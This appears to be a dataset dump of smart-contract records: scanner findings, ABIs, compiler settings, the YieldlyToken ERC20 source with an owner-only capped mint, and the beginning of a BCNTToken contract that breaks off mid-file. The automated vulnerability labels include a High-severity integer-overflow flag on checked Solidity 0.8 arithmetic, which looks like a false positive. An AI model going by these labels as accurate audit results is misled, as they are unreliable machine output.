[{"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 20, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 20, "severity": 2}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 72, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 59, "severity": 1}]
[{"inputs":[{"internalType":"address","name":"_mgmt","type":"address"},{"internalType":"address","name":"_gateMaster","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"bytes32","name":"merkleRoot","type":"bytes32"},{"internalType":"uint256","name":"maxWithdrawalsAddress","type":"uint256"},{"internalType":"uint256","name":"maxWithdrawalsTotal","type":"uint256"}],"name":"addGate","outputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"gateMaster","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"gates","outputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"uint256","name":"maxWithdrawalsAddress","type":"uint256"},{"internalType":"uint256","name":"maxWithdrawalsTotal","type":"uint256"},{"internalType":"uint256","name":"totalWithdrawals","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getGate","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"bytes32[]","name":"proof","type":"bytes32[]"}],"name":"isEligible","outputs":[{"internalType":"bool","name":"eligible","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"management","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numGates","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"bytes32[]","name":"proof","type":"bytes32[]"}],"name":"passThruGate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"address","name":"","type":"address"}],"name":"timesWithdrawn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]
v0.8.9+commit.e5eed63a
true
200
000000000000000000000000288fe43139741f91a8cbb6f4add83811c794851b000000000000000000000000a6fffd38a523d95b744ddc82a2a3c5e1cd77d8ee
Default
MerkleLib:458efd41740ffb27d86a9157050c0707b41e9520
GNU GPLv3
false
ipfs://bad272a331b3686fac807fd4beffc2ef3def0f834e78057892158e0a440314f5
YieldlyToken
0x88cb253d4c8cab8cdf7948a9251db85a13669e23
Solidity
/* .... . u :i:::.EBi .r:::.JB. ii:::.Rg :i:i:.QE .:.BB: .. . QBQ: :::.. bBB: i.:...BBB i::...BBB .i:. DBB .J::..iBBB i:....BBB .::.. 7BBQ .::.. vBBg :::.:. dBg KBBBBBBB2 .:.:. rBBZ ::.:. PBBi ::... EBB. .:::.:.. ZBg ..... . ..... . rdUSUis ..:::.:.. i::.. EBB: ...:::. i.:...BBB i.:...BBB .. . .BBv..:... PBD .ri:i:.gg .ri::..BBi r:. .B. ::i::::.:::ii:. .i:.. .BBB .iii:::::::: .::.. LBBS :::.. sQB2.:i:i.jB. bi.:.. dBD i:::: sQB i::. .gBBB..::.. XBB7 :i::.. ..:::i7 ::.:. vBBS .ii::.. .::::.:. ZBB. ::.:. gBQ. :::...BQ. ..:.. Sb PBg ::.:..iBB i:.. ZBQB. ::.:..BBQ .ii:.. rqgQQZ:..:..:B: i::.. MBB. :i:... :YXbP5:..:::..:BQB i::..:BBB ::.:..QB: :::.. sBBBbBB :::::.:BB :i... bBQB: .i::. rBBD i:::.:QBBBBBQB:..:. PB. .i::: :BBQ i::.. .PBBBBBBBr..:.. uBBJ :::.. IBBY i::.. gB7 :i:.. LBBBS :Q .i.:...BB. :i.:. PBBB: :::.. dBB: ::::.iBBBB7 .:::. JBB :i::. uBBY .::::..BBBBP: .::.:..MBB i:.:..QBB i:.:. qB1 .i:.. vBBBK i:::. MBi .i:.. XBBBi i:.:..QBB .:::..:i.:. ........ 2BB i::...QBB i:::..ZBBB. i.:..:BBQ .i::..iBBQ :::.. 1BZ i:.. 7BBBb i:::: ZBs r::. 5BBBr :i:::.vBBI i::::. ....... RQB i:::.rBBM .r:::.rBBB .i::: XBBr i:::: qQBr .r:::.vBQ :i:: rBBQZ :r:::.XBb.::. 5BBB7 r:::..gBB i:::.72uuUUIUIUI1I12sIBBQ :i::..XBBr ii:::.SBBY ii::..QBQ ri::.:QBB .r:::.rQB:::: rBBBM .r:::.SB:.:. uBQBL .r:::.iBBQ .i:::.EBBBBBBBBBBBQBBBBBBJ i:::..BBB ii:::.IBB :i:::.rBBD .r:::.7BBZ r:::.iB7..: iBBBR r:::.v7.:. jBBBJ :i::. 1BBu :i:::.vBB .:... i .i:::.7QBd r::::.iQB :r:::. PBB: i:::. EBBi ::::.iu... iQBBQ i:::.:... LBBB2 r:::..QBB .r::.:.LE .... :BBi ::::. PBB: :i:::..rD .:i::::..BBB r:::.:BBB :i:::.... :BBBB :i:::::. vBBB5 .i:.: rBBQ :r::....:::i::.. .IBBBB i.:...BBB ri::.:..:i::.:::.:. 7BBK .i.:..LBBK .r::::.: :BBBB .r::::. 7BBBK :... 5BBv .7:......... .:5BBBBb :.... vBBS ir........ rg: .. EBB. i.. gBB. i:::::.:BBBB i:::..7BQBb qQq5I1BBB .EQIri:i:rsqQBBBBB: YBqS21MBB. rg2riiivIQBBqb5SU5BBB EQSS1SBBB :::::.:QBQB .r::..rBQBE bBBBBBBR vBBQBBBQBBBQB1. sBBBBBBB .QBBBBBBBBBSPBBBBBBI QBBBBBBI i:::..QBBB .r::. rBQBg .rrri: .iiri. ii::..MBBB iiii::. 7BBBR r::.......::i:i:i::.. ...::::i:::.......::::::::::.. ...........:i::........:iii:ii::. :RBBB. r::.. .1BQBM :i:::.:.:.:::::::.:::.:.....:.:::::::::::.:::.:::::::::::::.:.:.:::::::.:.:.:::::.:.:.:::::::.... 7BBBB. ir..::JRBBBP vi.............................................................................................:7DBBBB .BBBQBQBBBr 7BBBBQBBBBBQBBBQBQBBBBBBBBBBBBBBBBBBBQBBBQBBBQBQBBBBBBBBBQBBBBBBBQBBBBBBBBBBBBBQBBBBBBBBBBBQBQBBBBBBK XDbq5Y: .DZPEPEPdPEPdPdPdPdbEPEbEPEbEPEPdPEPEbdbEdZbZdEdEdEdEbEdZbEdZdZdEbEdZdEbEdZdEbEdZdEdZdEbEdZdZPP5ji */ // File @openzeppelin/contracts/token/ERC20/[email protected] // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File @openzeppelin/contracts/access/[email protected] pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/YieldlyToken.sol pragma solidity ^0.8.0; contract YieldlyToken is ERC20, Ownable { uint256 public maxMintable = 10000000000 * 10**18; constructor() ERC20("Yieldly", "YLDY") Ownable() {} function mint(address _receiver, uint256 _amount) public onlyOwner { require(_amount > 0, "Needs to be larger than 0"); require( totalSupply() < maxMintable, "This token has already been minted to maximum capacity" ); require( (totalSupply() + _amount) <= maxMintable, "Cannot exceed token maximum capacity" ); _mint(_receiver, _amount); } }
[{"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["531", "519", "504"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["429", "405", "428", "406", "386", "385"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [549]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"YieldlyToken.sol": [421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"YieldlyToken.sol": [161, 162, 163, 164]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [320, 321, 322, 314, 315, 316, 317, 318, 319]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [528, 529, 526, 527]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [251, 252, 253]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [355, 356, 357, 358, 359, 360, 361]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [234, 235, 236]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [265, 266, 267]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [280, 277, 278, 279]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [336, 337, 338, 339]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [535, 536, 537, 538, 539]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [226, 227, 228]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [296, 297, 298, 299]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"YieldlyToken.sol": [285, 286, 287]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"YieldlyToken.sol": [36]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"YieldlyToken.sol": [545]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"YieldlyToken.sol": [144]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"YieldlyToken.sol": [116]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"YieldlyToken.sol": [476]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"YieldlyToken.sol": [171]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"YieldlyToken.sol": [553]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"YieldlyToken.sol": [553]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"YieldlyToken.sol": [160, 161, 162, 163, 164, 165, 156, 157, 158, 159]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"YieldlyToken.sol": [549]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 403, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 424, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 528, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 296, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 36, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 116, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 144, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 171, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 476, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 545, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 200, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 202, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 204, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 206, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 207, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 491, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 161, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 218, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 498, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 551, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxMintable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_receiver","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.4+commit.c7e474f2
true
200
Default
false
BCNTToken
0xb2f71443bbdf67d35a3e6915121c118200e5b15b
Solidity
pragma solidity ^0.4.24; pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } 